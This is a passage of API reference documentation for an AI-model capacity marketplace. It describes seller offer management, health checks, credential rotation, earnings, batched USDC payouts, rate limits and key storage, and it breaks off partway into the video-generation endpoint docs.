operations](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#offer-operations)). It runs one real generation on the key Surplus already holds and relists the offer, healthy, if that passes. - If you replaced the key, use `POST /v1/seller/offers/{id}/rotate-credential` instead. An offer delisted because the provider rejected its key as invalid (`credential_invalid`) comes back only by rotating its credential. **Offers** **Create** ```bash POST /v1/seller/offers Authorization: Bearer si_seller_xxx Idempotency-Key: 9f8c1e2b-... # required { "model": "claude-opus-4.6", "api_key": "your-provider-api-key", "seller_base_url": "https://api.venice.ai/api/v1", "pricing_mode": "cost_multiplier", "cost_multiplier": 0.50, "cap_daily_usd": 100.00, "payout_address": "0xOptional..." } ``` **Update** ```bash PATCH /v1/seller/offers/{id} Authorization: Bearer si_seller_xxx { "cost_multiplier": 0.45 } ``` **Deactivate** ```bash DELETE /v1/seller/offers/{id} Authorization: Bearer si_seller_xxx ``` **List** ```bash GET /v1/seller/offers Authorization: Bearer si_seller_xxx ``` **Read** ```bash GET /v1/seller/offers/{id} Authorization: Bearer si_seller_xxx ``` 1. **Created - credential probed** 2. probe passes → **Active - serving traffic** 3. a request fails → **Unhealthy - backing off** 4. probe recovers → **Active again** Back to “Unhealthy - backing off” - this loop can run many times. Exit: **Delisted by operator**: one-way - editing the offer will not restore it active is your intent; healthy is the system's judgement and moves on its own. Operator delisting is the one exit you cannot reverse by editing the offer. ## Bulk Create POST /v1/seller/offers/bulk Create multiple offers from discovery results. Send many offers in one request (no fixed cap is enforced; keep batches reasonable). `reuse_key_fingerprint` reuses an already-stored credential, and `save_config` defaults to **true** - pasting a key silently creates a saved credential card. Bulk-created offers support the same `cap_daily_usd` field as single-offer creation. **Bulk create** ```bash POST /v1/seller/offers/bulk Authorization: Bearer si_seller_xxx { "api_key": "your-provider-api-key", "base_url": "https://api.venice.ai/api/v1", "offers": [ { "model": "claude-opus-4.6", "cost_multiplier": 0.5 }, { "model": "gpt-5.4", "cost_multiplier": 0.5 } ] } ``` ## Offer operations POST /v1/seller/offers/bulk-cancel Deactivate ALL your active offers in one call. Send no body (or `{}`). It takes no selection: a body with `offer_ids` or `provider` returns `400 selector_not_supported`; to cancel a selection, use `bulk-update` with `action: "cancel"` below. Fire-and-forget: returns `202` with an `operation_id`; poll it for progress. POST /v1/seller/offers/bulk-update Run one `action` over a selection of your active offers, asynchronously; returns `202` with an operation to poll. Select with `offer_ids` (up to 1,000) and/or `provider` (a provider family such as `openrouter`); an offer must match both when both are given, and ids that aren't yours are ignored. - `cancel` deactivates the selected offers. It needs a selection (`400 selection_required` without one); to cancel every offer, use `bulk-cancel`. - `reset_health` queues a check of each selected unhealthy offer and re-admits nothing: each one returns to rotation only when its check passes. Healthy offers are left alone. An offer whose last fault was the provider refusing its key (401/402/403, not rotated since), one still in its failure backoff, and a media offer still waiting for (or failing) its render check are skipped and counted in `failed_count`. With no selection it covers every active offer. - `set_discount` (with `discount_pct`, 0 to 100) is bulk repricing and is rolling out behind a flag: until it is enabled it returns `404`. With no selection it covers every active offer. It reprices the offers you priced as a discount off the reference, media and text alike, at exactly the prices setting that discount on one offer would give. Offers you priced per token, and any text offer whose model has no current reference price, are left as they are and counted in `failed_count`. One bulk operation runs at a time: repeating the same request returns the running operation, and a different one returns `409 operation_in_progress` until it finishes. POST /v1/seller/offers/{id}/reset-health Request a health check of an unhealthy offer. Send no body. It runs one real check of the key Surplus holds for the offer (a small generation of the offer's model, or the decisions call), and returns the offer to rotation only if that passes: the answer is `201` with `check: "passed"` and `healthy: true`. The failure count is kept; only served requests clear it. - **Media offers are queued.** The prober checks them, and they come back when its check passes (`check: "queued"`, still `healthy: false`). An offer that is already healthy is left alone (`check: "not_needed"`). - **Not inside the backoff.** While the offer is still in its failure backoff, a reset answers `429 reset_health_too_soon` with `Retry-After` and `error.detail.next_reset_at`, and nothing is checked. A failed check starts a new backoff, so a reset loop can't bring an offer back faster than its backoff. - **A refused key needs a new key.** If the provider's last answer to the offer was `401`, `402` or `403`, a reset answers `409 credential_rotation_required` (naming the status) until you rotate the key with `rotate-credential`. - **A failed check names the provider's answer.** It is a `400` with one of `provider_auth_failed`, `provider_no_credit`, `provider_spend_limit`, `provider_privacy_policy`, `provider_rate_limited`, `provider_timeout`, `provider_model_unavailable`, `byok_not_allowed`, `probe_output_budget_rejected` or `provider_check_failed`, and the offer stays out of rotation. An offer that is not listed answers `409 offer_inactive`. POST /v1/seller/offers/{id}/rotate-credential Swap an offer's upstream provider key in place, without recreating it. POST /v1/seller/offers/{id}/check-again Bring back an offer Surplus retired for failing (`delisted_reason` is `system:chronic_failure`). Send no body. It re-checks the key Surplus already holds for the offer with one real generation of the offer's model at its base URL, and relists the offer only if that passes. The offer comes back healthy, with its failure count and retirement clock cleared, priced exactly as a `PATCH` re-activation would price it, and the answer is `200` with `relisted: true` and `health_reset: true`. - **Text and decisions offers only.** A media offer answers `409 check_again_media_unsupported`. - **One check per offer per hour.** Another call inside the hour, while the offer is still delisted, answers `429 check_again_too_soon` with `Retry-After` and `next_check_at`, and nothing is probed. Once the offer is listed, a call answers `409 offer_not_delisted`. Editing, rotating or resetting the offer does not reset the hour. No `Idempotency-Key` is needed. - **The key and the price stay as they are.** If you replaced the key, use `rotate-credential`. If the stored price no longer passes today's listing price check (for example it is above today's 2x reference cap), the answer is `409 reprice_needed` with the cause in `error.detail.cause`. Reprice with `PATCH`, then check again; that answer spends no check. - **Every refusal names its code.** Its `error.detail` carries `relisted: false`, `health_reset: false`, `blocked_by` (the code) and `retryable` (`false` on every 4xx), plus `next_check_at` once the call has taken the hour. A failed check is a `400` that names what the provider said: `provider_no_credit`, `provider_spend_limit`, `provider_privacy_policy`, `provider_auth_failed`, `provider_rate_limited`, `provider_timeout`, `provider_model_unavailable`, `byok_not_allowed`, `probe_output_budget_rejected` or `provider_check_failed`. Other refusals are `409`s: `offer_not_delisted` (listed, or paused by you), `credential_rotation_required` (the key was rejected as invalid), `check_again_not_applicable` (delisted for another reason), `offer_delisted_by_operator`, `offer_credential_missing`, `duplicate_offer_for_credential` and `offer_state_changed` (the offer changed during the check). Only a `503` (our own fault, such as `check_again_unavailable`) is retryable. GET /v1/seller/operations/{id} Poll an async operation (such as a bulk cancel) for `status`, `processed`, `total`, and `failed_count`. `total` is the number of offers the operation covers, filled in once it starts running (absent while it is queued). **Offer operations** **Bulk cancel** ```bash POST /v1/seller/offers/bulk-cancel Authorization: Bearer si_seller_xxx # no body: cancels every active offer # → 202 { "operation_id": "...", "object": "operation", "status": "queued", "created": 1713312000 } ``` **Bulk update** ```bash POST /v1/seller/offers/bulk-update Authorization: Bearer si_seller_xxx { "action": "cancel", "provider": "openrouter" } # or { "action": "reset_health", "offer_ids": ["01JQ8G7YV3M4N5P6Q7R8S9T0AB"] } (queues a check of each) # → 202 { "operation_id": "...", "object": "operation", "status": "queued", "created": 1713312000 } ``` **Reset health** ```bash POST /v1/seller/offers/{id}/reset-health Authorization: Bearer si_seller_xxx # → 201 { "offer_id": "...", "healthy": true, "check": "passed", ... } # or 400 provider_auth_failed / 409 credential_rotation_required / 429 reset_health_too_soon ``` **Rotate credential** ```bash POST /v1/seller/offers/{id}/rotate-credential Authorization: Bearer si_seller_xxx { "api_key": "new-provider-key" } ``` **Check again** ```bash POST /v1/seller/offers/{id}/check-again Authorization: Bearer si_seller_xxx # no body: re-checks the key Surplus already holds # → 200 { # "offer_id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", # "relisted": true, # "health_reset": true, # "checked_at": 1795003200000 # } # a second call inside the hour (Retry-After is set): # → 429 { "error": { "code": "check_again_too_soon", "message": "...", "detail": { # "offer_id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", "relisted": false, "health_reset": false, # "blocked_by": "check_again_too_soon", "retryable": false, "next_check_at": 1795006800000, ... } }, ... } ``` **Poll operation** ```bash GET /v1/seller/operations/{id} Authorization: Bearer si_seller_xxx # → { "id": "...", "status": "succeeded", "processed": 12, "total": 12, "failed_count": 0 } ``` ## Model Discovery POST /v1/seller/discover Auto-detect models + pricing from a provider. Requires seller auth; streams NDJSON, one line per model. Parses Venice, OpenRouter, Bankr, and generic pricing formats automatically. **Discover** ```bash POST /v1/seller/discover Authorization: Bearer si_seller_xxx { "api_key": "your-provider-api-key", "base_url": "https://api.venice.ai/api/v1" } ``` ## Test Connection POST /v1/seller/test-connection Verify endpoint is reachable and returns valid responses. **Test connection** ```bash POST /v1/seller/test-connection Authorization: Bearer si_seller_xxx { "api_key": "your-provider-api-key", "base_url": "https://api.venice.ai/api/v1", "model": "claude-opus-4.6" } ``` ## Earnings GET /v1/seller/earnings Precomputed earnings for a range: `total_earned_usdc`, `pending_usdc`, `in_flight_usdc`, `paid_usdc` (integer micro-USD strings), plus `daily`, `by_model`, `share`, a `recent_sales` teaser (up to 20), and any `payout_hold`. Query param: `range` = `today`, `7d` (default), `30d`, `90d`, `mtd` (month to date, UTC), or `lifetime`. Team orgs can add `?workspace_id=`. If `today` or `mtd` isn't available yet, the response has `range_days: 0` and empty arrays. Also returned: `computed_at` (when the figures were computed, epoch ms; `null` before anything is published), `top_models_by_earnings` (top 25 by earnings; `by_model` keeps its token order), `cache_savings_usdc` (the lifetime cache-affinity savings your offers' cache reuse produced, a micro-USD string), and, for `today`, `7d`, `30d`, and `mtd`, `by_offer` (top 50 offers) and `by_provider` (by provider family). `share` adds `input_tokens`, `output_tokens`, cache tokens, `avg_discount_given_pct` (the discount you gave, weighted by tokens sold), `model_count`, `offer_count` (the same four ranges as `by_offer`), and `prior`, the equal period before the range (for `mtd`, the same days of the previous month; not on `lifetime`). `daily` and `by_model` rows add cache tokens, and `by_model` adds `avg_discount_pct`. A figure not yet measured for the whole range is omitted, never 0. Each recent sale adds `discount_pct` (the discount the buyer got off the reference price), `provider` (the provider family that served it), `sold_at` (when it was served), and `confirmed_at` (when its settlement confirmed). Sales carry no buyer identity: `recent_sales[].buyer` has been removed. A sale billed in media units rather than tokens also carries `media_type`, `media_units` (what was metered, 0 when nothing was delivered) and `media_unit_type`, and a sale with a reference price carries `direct_cost_usd`: our reference cost for what was metered, in micro-USD as a string like the market fills' field of the same name, the go-direct list price the discount is measured against, not what the provider billed your key. The media fields are omitted on a token sale, and `direct_cost_usd` when the reference is zero or unknown (no published reference for the model, or nothing delivered). **Earnings** **Request** ```bash GET /v1/seller/earnings Authorization: Bearer si_seller_xxx ``` **Month to date** ```bash GET /v1/seller/earnings?range=mtd Authorization: Bearer si_seller_xxx ``` ## Earnings History GET /v1/seller/earnings-history Cursor-paginated sale history, deeper than the 20-row `earnings` teaser. Params: `limit` (default 25, max 50), `cursor`, `workspace_id`. Returns `recent_sales[]` (the same row shape as the teaser, with no `buyer`) + `next_token`. A `cursor` that was changed or not issued by us is `400 invalid_cursor`; one we could not read for a moment is a `503 cursor_unavailable`, so retry with the same cursor ([Page cursors](https://www.surplusintelligence.ai/docs/api-reference/index#page-cursors)). Filters, each combined with the others: `from` / `to` (inclusive; an ISO-8601 instant or a `YYYY-MM-DD` UTC day, which `to` covers whole), `model` (comma-separated, up to 20), `offer_id` (comma-separated, up to 10 of your own offers; any other is `404 offer_not_found`), and `settlement` (comma-separated: `pending`, `owed` for credit-rail sales not yet paid out, `paid`, or `confirmed` for every settled sale, `owed` and `paid` together). A filtered page reads a bounded amount of history per call, so it can come back short, even empty, while `next_token` is still present; it then says `truncated: true`. Keep paging until `next_token` is absent. Several offers come back as one list, newest first, and their `next_token` only works with the same `offer_id` set (another set is `400 invalid_cursor`). Filtered reads never return totals. ## Usage Export GET /v1/seller/usage/export Your sales record as CSV. Redirects (`302`) to a short-lived presigned download. Params: `from`, `to`, `limit`, `format=csv`, `workspace_id`. **Bounded, not complete.** A single export returns at most **50,000 rows** (or a lower `limit` you pass). When rows remain beyond the cap the response carries **`x-si-export-truncated: true`**, and the CSV you downloaded is a partial record. Check that header on every export and narrow the `from`/`to` window until it is absent, especially before using the output as a reconciliation or tax ledger. Columns: `request_id`, `settled_at`, `model`, `input_tokens`, `output_tokens`, `seller_earned_usd`, `settlement_status`, `settlement_type`, `tx_hash`. Rows are not filtered by outcome: pending and failed settlements are exported too, so within the row cap this is your raw ledger rather than an earnings summary. The `settlement_status` column is per-request: under batched payouts most rows stay `accrued` even after their earnings were paid, so read [Settlement and payout lifecycle](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#settlement-and-payout-lifecycle) before treating an `accrued` count as unpaid exposure. ## Health Log GET /v1/seller/health-log Returns recent health events for your offers (failures, backoffs, recoveries). Query params: `offer_id` (filter to one offer), `since` / `until` (ms epoch), `max_items`, `next_token`, `sort_order` (`ASC` | `DESC`). **Health log** ```bash GET /v1/seller/health-log Authorization: Bearer si_seller_xxx ``` ## Payouts GET /v1/seller/payouts Your payout position: `available_usdc`, `in_flight_usdc`, `paid_usdc`, the `threshold_usdc`, a `batched_enabled` flag, `mode` (the payout mode that actually applies to you: `batched` whenever batched payouts are live, else `instant`, where each sale pays as it settles and there is nothing to claim), per-recipient `groups`, and executed-payout `history`. All amounts are integer micro-USD strings (`"5000000"` is 5 USDC). Each group carries its `recipient` (the destination frozen when those earnings accrued), `recipient_source` (`resolved` when that destination is a payable address, `unresolved` when none could be resolved), its own balances, and a `next_trigger` explaining why it will or will not pay next. Each history entry carries a `status` (`claimed` | `submitting` | `paid` | `failed` | `needs_operator`), its `amount_usdc`, `type` (`payout_now` when you asked for it, `batch` for the scheduled run, `instant` for the legacy per-sale rail), `method` (`sponsored` when we broadcast it and paid the Base fee, `self_submit` when you did), `paid_at` once it is `paid`, and, once broadcast, the Base `tx_hash` for that specific payout. See [Settlement and payout lifecycle](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#settlement-and-payout-lifecycle) for what each field means. POST /v1/seller/payouts/withdraw Request a withdrawal of your available balance. With batched payouts enabled - the production configuration - a withdraw goes through the obligation planner and the scheduled drain settles the pending balance (`status: scheduled`), and the response reports `mode: "batched"`, the same `mode` as `GET /v1/seller/payouts`; `self_submit: true` instead requests a signed EIP-3009 authorization for you to broadcast yourself (paying your own gas). A withheld balance returns `status: held` with a reason. POST /v1/seller/payouts/submitted Report the on-chain `tx_hash` for a payout you broadcast yourself. **Payouts** **Position** ```bash GET /v1/seller/payouts Authorization: Bearer si_seller_xxx ``` **Withdraw** ```bash POST /v1/seller/payouts/withdraw Authorization: Bearer si_seller_xxx { "self_submit": false } # `destination` (optional) DELIBERATELY OVERRIDES the recipient frozen at accrual and # consolidates every pending payout group into one transfer to that address. It is # authorized by the API key alone — treat a seller key that can call this as able to # redirect your earnings, and scope it accordingly. # Response `status` is one of: scheduled | authorized | nothing_pending | held # scheduled - claimed; the drain broadcasts it and we pay the gas # authorized - `self_submit: true` only; carries the signed EIP-3009 `authorization` # for you to broadcast yourself # nothing_pending- nothing is payable right now # held - eligible but withheld; carries a `hold_reason`, and a `releases_at` # (epoch ms) only when every withheld group clears on a clock # See Settlement and payout lifecycle below. ``` **Report tx** ```bash POST /v1/seller/payouts/submitted Authorization: Bearer si_seller_xxx { "payout_id": "...", "tx_hash": "0x..." } ``` ## Settlement and payout lifecycle Your earnings and your payouts are **two separate tracks**, and conflating them is what produces the "my sales are up but my balance is not" question. Earnings **accrue per request** the moment each response completes. Payouts are **batched**: they are grouped by payout recipient and sent when a group becomes eligible, not once per request. So a request can be fully earned and fully paid while its individual row still reads `accrued`. ### Request-level status vs payout position The CSV from [Usage Export](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#usage-export) carries a per-request `settlement_status`. Your [payout position](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#payouts) carries account-level amounts. They answer different questions. Per-request `settlement_status` (one value per row in your usage CSV): | Status | Meaning | | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `accrued` | Credit-rail sale. Your earnings are recorded in the payout ledger and are (or have been) payable. A credit-rail row **stays here unless a paid batch is joined back to it**, which includes rows whose earnings were already paid. | | `pending` | On-chain or x402 sale whose settlement transaction has not confirmed yet. Nothing has moved on chain for this row. | | `submitted` | x402 sale broadcast on chain whose receipt we could not read in time. It may still have landed; the row is left open rather than guessed at. | | `confirmed` | This specific row carries an on-chain hash. On the direct on-chain rail that is the settlement itself. On the credit rail under batched payouts it is a best-effort display writeback, not a per-row guarantee (see below). | | `failed` | Settlement did not complete for this row. These are exported deliberately so a gap in your ledger is visible rather than silently dropped. | | `fallback` | Legacy. No current code path writes it, but historical rows carry it and it is excluded from buyer-side analytics. If you see it, it is an old row, not a new state. | Payout position (account-level, from `GET /v1/seller/payouts`): | Field | Meaning | | ----------------------------------------------------------------------------- | --------------------------------------------------------------------------- | | `available_usdc` | Earned, net of fee, and claimable now. | | `in_flight_usdc` | Claimed and broadcasting, not yet confirmed on chain. | | `paid_usdc` | Confirmed paid on chain, lifetime. | | `held` (a state, surfaced as a group's `next_trigger` or a withdraw `status`) | Eligible but withheld. Carries a reason. Exceptional, not the normal cycle. | ### Why so many rows stay `accrued` Because a batched payout pays a **group**, not a request, there is no one-for-one `accrued` to `confirmed` transition for most rows. When the system can cheaply join a paid batch back to an individual row it will flip that row to `confirmed` and stamp the hash, but that is a display-only writeback and it does not cover every row. Rows paid as part of a group legitimately remain `accrued`. > **A large `accrued` count is not proof that you are unpaid.** Under batched payouts a row is only rewritten when a paid batch can be joined back to it, so `accrued` is what an unrewritten row reads whether or not it was paid. To check whether money actually moved, read your payout history, not the per-request status. **Worked example.** Say you made tens of thousands of credit-rail sales worth 250 USDC. Your usage CSV shows tens of thousands of rows at `settlement_status = accrued`, and almost none at `confirmed`. Your `GET /v1/seller/payouts` `history` shows a handful of rows with `status: "paid"` that sum to \~250 USDC, each with its own Base `tx_hash`. Those batches paid the accrued rows. The rows were never rewritten one by one, so their status still reads `accrued`. Nothing is missing. ### When earnings get paid A payout group becomes eligible for an **automatic** payout when **either** of these is true: - its available balance reaches **5 USDC**, **or** - its **oldest available earning reaches 72 hours** (the `age_due_at` on the group). The 5 USDC floor is an operational knob rather than a contractual number, so read the current figure from `threshold_usdc` on the payout response rather than hard-coding it in your own tooling. A scheduler evaluates eligibility on a roughly 10-minute cadence and pays the groups that qualify. **Manual review is not part of the normal cycle.** It applies only to exceptional states (a payout hold, or an attempt that needs operator recovery), covered below. A group's `next_trigger` tells you which rule it is waiting on: | `next_trigger` | What it means | | ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `threshold` | The balance is at or above the payout floor, so the next scheduled run pays it. | | `age` | The balance is **below** the floor, so it waits on the 72-hour trigger. `age_due_at` is when that fires. This says which rule the group is waiting on, not that the wait is over. | | `below_threshold` | Has a balance the planner did not select this run. Rare, and normally clears by itself on the next one. | | `manual` | Nothing available to pay in this group. Not a hold, and not a review: there is simply no balance. | | `unresolved_recipient` | No payable destination could be resolved, so no amount of earning will make this group pay. Contact support. | | `new_seller_hold` | The ordinary first-payout waiting period. Clears on a clock; the group carries `hold_release_at`. | | `risk_hold` | Withheld pending review. Carries no countdown. | Both triggers above belong to the **automatic** run. **"Payout now" (`POST /v1/seller/payouts/withdraw`) has neither**: a manual claim takes any group with an available balance and a payable recipient, however small and however recent. `manually_claimable` on each group is that same decision, so the button and the claim can never disagree. It is still subject to a hold. ### How to confirm you were paid The **authoritative record of payment is your payout history and its Base transaction hash**, never the per-request `accrued` count. - In `GET /v1/seller/payouts`, a `history` entry with `status: "paid"` and a `tx_hash` is a completed payment. There is exactly one hash per seller per payout, so you can point at your own transaction on [Base](https://basescan.org) without it being entangled with any other seller's payment. - The **recipient wallet** for each group is the group's `recipient`, frozen when those earnings accrued. `recipient_source` tells you only whether that destination is payable (`resolved`) or could not be resolved to an address (`unresolved`); it does not name which rule produced it. ### Payout groups and recipient overrides Balances are **split across payout-recipient groups**. You have one group per distinct payout recipient, so a seller whose offers all pay to the same wallet has exactly one. If some offers set a `payout_address` override, the recipient is frozen at accrual and those earnings form their own group with their own trigger and their own transaction. Merging them would pay one recipient money owed to another, so each group is claimed and paid independently. A seller with an offer-level override and an org default therefore sees two rows in `groups`, each reaching the 5 USDC or 72-hour trigger on its own. ### If a payout looks stuck These are exceptional and are not the normal cycle. If you see one, it is a signal to look closer, not to assume everything is fine. - **`held`** (a group whose `next_trigger` is `risk_hold` or `new_seller_hold`, or a withdraw that returns `status: held`). A `new_seller_hold` is the ordinary first-payout waiting period and clears on its own: the group carries `hold_release_at` (ISO-8601) and a withdraw response carries `releases_at` (epoch ms). A `risk_hold` is a manual review and carries no countdown. If a hold does not lift when you expect it to, contact support. - **In-flight far longer than a cycle.** A balance that sits in `in_flight_usdc` well beyond a normal payout window, rather than settling to `paid`, is worth reporting. In `history` that shows up as an entry stuck at `claimed` or `submitting`. - **`needs_operator` in your payout history.** A payout attempt whose outcome could not be determined automatically (for example an on-chain broadcast with no readable receipt) is parked for operator recovery. The safe design is to hold it rather than risk paying twice, so this status is terminal for automation and **will not self-resolve**. Contact support with the `payout_id`. - **`failed` in your payout history.** A recoverable failure, carrying an `error`. A later run re-drives it; if the same one persists across days, report it. In any of these cases, [contact support](mailto:support@surplusintelligence.ai) with your wallet address and, if you have it, the `payout_id`. Do not assume a stuck payout is normal batching latency. ## Saved Provider Configs GET /v1/seller/configs Reusable saved provider-key cards (base URL + key fingerprint + hint, plus `credential_kind` / `credential_prefix` when known; the key itself is never returned). Cards are created as a side effect of creating an offer, so there is no create endpoint here: management is list + delete. List them, or `DELETE /v1/seller/configs/{id}` to remove one. Bulk offer creation, discovery, and health probes can reuse a saved key via `reuse_key_fingerprint` instead of re-sending `api_key`. ## Rate Limits Seller routes are metered in per-minute buckets, scoped to your API key (or your session, or your IP when neither is present). The bucket is **aggregate per caller, not per path**: every route in a class shares one counter. | Route class | Limit | Covers | | ------------------ | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Seller management | **1,200 req/min** | Everything under `/v1/seller` not listed below: offers CRUD, bulk create, discovery, test connection, earnings, usage export, health log, payouts, configs. | | Earnings history | **120 req/min** | `/v1/seller/earnings-history`, carved out because each page is a real query rather than a precomputed read. Use the CSV export for a full pull. | | Filtered log reads | **60 req/min** | `/v1/seller/earnings-history` with `model`, `offer_id`, or `settlement` (paging, `from` / `to`, and `workspace_id` alone stay on the 120/min bucket). Shared with filtered request-log and audit reads. | | SIWE auth | **120 req/min** | `/v1/seller/auth/challenge` and `/v1/seller/auth/keys`. Scoped per IP, since there is no key yet. | 429 responses include `Retry-After` (seconds), and every response carries `X-RateLimit-Limit`, `X-RateLimit-Remaining`, and `X-RateLimit-Reset` (Unix timestamp). A separate edge WAF rule also blocks any single **IP** past **6,000 requests per 5-minute window** (about 1,200/min), before the application sees the request. This ceiling is shared by all keys and routes using that source address. These route limits are API-abuse controls. They are not a marketplace-side spend ceiling for provider usage. For provider-quota protection, use `cap_daily_usd` and provider-side API-key limits where available. There is no per-week or per-month USD cap on marketplace seller offers today. ## Key Storage and Deletion Seller provider API keys are encrypted at rest with AES-256-GCM under AWS KMS envelope encryption: a per-secret data key is requested from KMS, used to encrypt the plaintext, and the ciphertext plus the KMS-encrypted data key are stored in a private S3 bucket. The server decrypts keys only when it needs to call the seller's provider endpoint or run seller-owned management actions such as discovery/test-connection/health reset. Deleting an offer is currently a soft delete: `active = false` on the offer record, removed from routing, encrypted API key retained in storage. There is no self-serve hard-delete endpoint yet. Sellers should revoke deleted offer keys at their upstream provider if immediate invalidation is required. See [Security & Privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) for the full current trust model. ## Error Responses All errors follow the format: ```json { "error": { "message": "Human-readable description", "type": "authentication_error | authorization_error | invalid_request_error | rate_limit_error | server_error" } } ``` | Status | Meaning | | ------ | ----------------------------------------------------------------------------------------------- | | 400 | Invalid request (bad JSON, missing fields, unsupported model) | | 401 | Invalid or missing API key | | 403 | Wrong key type (e.g., buyer key on seller endpoint) | | 404 | Offer not found or doesn't belong to your wallet | | 409 | This model is already listed on this credential and base URL (`duplicate_offer_for_credential`) | | 429 | Rate limit exceeded | | 500 | Server error | --- # /docs/api-reference/video-generations # Video Generations > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/video/generations`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). Async video generation via the marketplace. Submit a job, poll for status, retrieve results. > **This endpoint produces video. It does not analyze video you already have.** There is no supported way to send a video file to a model for understanding; see [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs), which covers what happens to a `data:video/mp4` payload and why YouTube URLs are not supported. ## Submit Job POST /v1/video/generations **Auth:** API key required (`Authorization: Bearer ***`). - `model` (string, required): Model ID, e.g. `venice-runway-gen4-5-text`; legacy `venice-video-gen` maps to a live Venice model (`X-SI-Model-Alias`). Query `GET /v1/models?type=video` for the live catalog - `prompt` (string, required): Text prompt (default ceiling: 2,000 chars) - `operation` (string): Canonical video operation (`text-to-video`, `image-to-video`, `reference-to-video`, `first-last-frame`, `video-to-video`, `upscale`, `extend`); inferred automatically from inputs when omitted - `duration_seconds` (integer): Video duration (`duration` and `seconds` accepted as permanent aliases, including `"5s"`). Omitted values use the model's default or shortest declared duration - `image_url` (string): Image-to-video **start frame** - an `https://` URL or a `data:` URI. Required by image-to-video-only models (see [Image-to-Video](https://www.surplusintelligence.ai/docs/api-reference/video-generations#image-to-video) below) - `end_image_url` (string): Transition **end frame** for models that interpolate between two stills (equivalent to `input_images` with `role: "end"`) - `input_images` (array): Source images for image-to-video / transition / reference models. Each entry is an `https`/`data:` URI string - positional `[start]` or `[start, end]` - or an object `{ "url": "...", "role": "start" | "end" | "reference" }`. Max 8 images per request - `resolution` (string): Provider-supported resolution such as `480p`, `720p`, `1080p`, `4k` - `aspect_ratio` (string): Provider-supported ratio such as `16:9`, `9:16`, `1:1`, `4:3`, `3:4`, `21:9` - `audio` (boolean): Include audio track when the model supports it (`generate_audio` and `sound` accepted as permanent aliases) - `webhook_url` (string): Accepted and validated, but **not delivered yet** - terminal-state callbacks are not enabled in production. Poll instead - `metadata` (object): Client pass-through metadata **OpenAI Videos API alias (gated):** Gated behind `MEDIA_OPENAI_VIDEOS_ALIAS_ENABLED` (default `false`; returns `404 unknown_endpoint` until enabled). When enabled, `POST /v1/videos`, `GET /v1/videos/:id`, `DELETE /v1/videos/:id`, and `GET /v1/videos/:id/content` (plus `/min{N}` mirrors) map OpenAI fields (`seconds` → `duration_seconds`, `size` → `resolution` + `aspect_ratio`, `input_reference` → `input_images`) onto the same async pipeline. **Idempotency, response headers & body signals:** Include `Idempotency-Key` to prevent duplicate submissions (replays return `Idempotency-Replayed: true`; mismatched payloads return `409 idempotency_key_reused` only when `MEDIA_IDEMPOTENCY_STRICT_MODE=enforce`, and replay the original job while `off`). Unconditional headers: `X-Request-Id`, `X-SI-Model-Alias` (when an alias resolves), and `Idempotency-Replayed` (on replay). Rollout-gated headers (mutually exclusive): `X-SI-Resolved-Params` (`MEDIA_STANDARDIZATION_MODE=enforce` only) and `X-SI-Deprecation` (`MEDIA_STANDARDIZATION_MODE=shadow` only for unknown/unhonored params). Adapted or stripped async parameters are reported in the JSON response body's `adapted_params` array — async endpoints do **not** emit the sync-only `X-SI-Adapted-Params` header. See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated). **Pricing by resolution.** Some video models charge a different rate per resolution, and a job is priced at the resolution it renders at. When you omit `resolution`, that is the model's default or, on a host that renders at a fixed default of its own, that host's resolution; send `resolution` to know which tier applies. Each resolution's catalog reference is on `GET /api/markets/{model}` (`direct_price.media_price_by_resolution`, or `media_job_price_by_resolution` for a model priced per job) and on `GET /v1/models` (`pricing.media_price_by_resolution`). Offers are discounts off that reference, the same at every resolution, and `/min{N}` compares against it per resolution: `/min15` at 720p admits offers at no more than 0.85 × the 720p rate. (If the video reference were ever priced from live provider price cards instead, `/min{N}` would follow the card; see [Market Data](https://www.surplusintelligence.ai/docs/api-reference/markets).) A job with a video input (upscale, video-to-video) settles on the provider's price instead. Current Venice-backed examples include `venice-runway-gen4-5-text`, `venice-seedance-2-fast-t2v`, and `venice-pixverse-c1-t2v`. Query `/v1/models` and `/api/markets` for the live catalog and active order book. **Response - 202 Accepted** ```json { "id": "550e8400-e29b-41d4-a716-446655440000", "object": "media.job", "kind": "video", "status": "queued", "created": 1713200000, "expires_at": 1713201800, "estimated_cost_usdc": "102000", "max_cost_usdc": "112200", "poll_url": "/v1/video/generations/550e8400-...", "cancel_url": "/v1/video/generations/550e8400-...", "job_token": "mjt_abc123..." } ``` ## Image-to-Video Pass a source image to animate a still (image-to-video), interpolate between two stills (transition), or condition on reference frames. - **Discovering models:** image-to-video models carry an `-image-to-video` id suffix (e.g. `seedance-2-0-image-to-video`, `wan-2-7-image-to-video`, `seedance-1-5-pro-image-to-video`) and list `image-to-video` in their `supported_parameters`. Query `/v1/models` and `/api/markets` for the live set. - **Required input:** an image-to-video-only model (no text-to-video) requires a source image; a request without one returns `400`. **Transition** models require *both* a `start` and an `end` frame. - **Frames & roles:** the simplest form is a single `image_url` (the start frame). For a transition, add `end_image_url`, or use `input_images` with explicit roles. Untagged `input_images` are positional - `[start]` or `[start, end]`; with three or more images, tag each with a role. Roles a model doesn't support are ignored - an extra frame won't fail the request. - **Source form:** `https://` URL or `data:` URI; bare base64 (without the `data:` prefix) and `http://` URLs are rejected. URLs are passed to the provider as-is - the marketplace never fetches them. **Image-to-video submit** ```json { "model": "seedance-2-0-image-to-video", "prompt": "slow dolly-in as the waves roll", "image_url": "https://example.com/first-frame.png", "duration_seconds": 5 } ``` ## Poll Status GET /v1/video/generations/:id **Auth:** API key OR 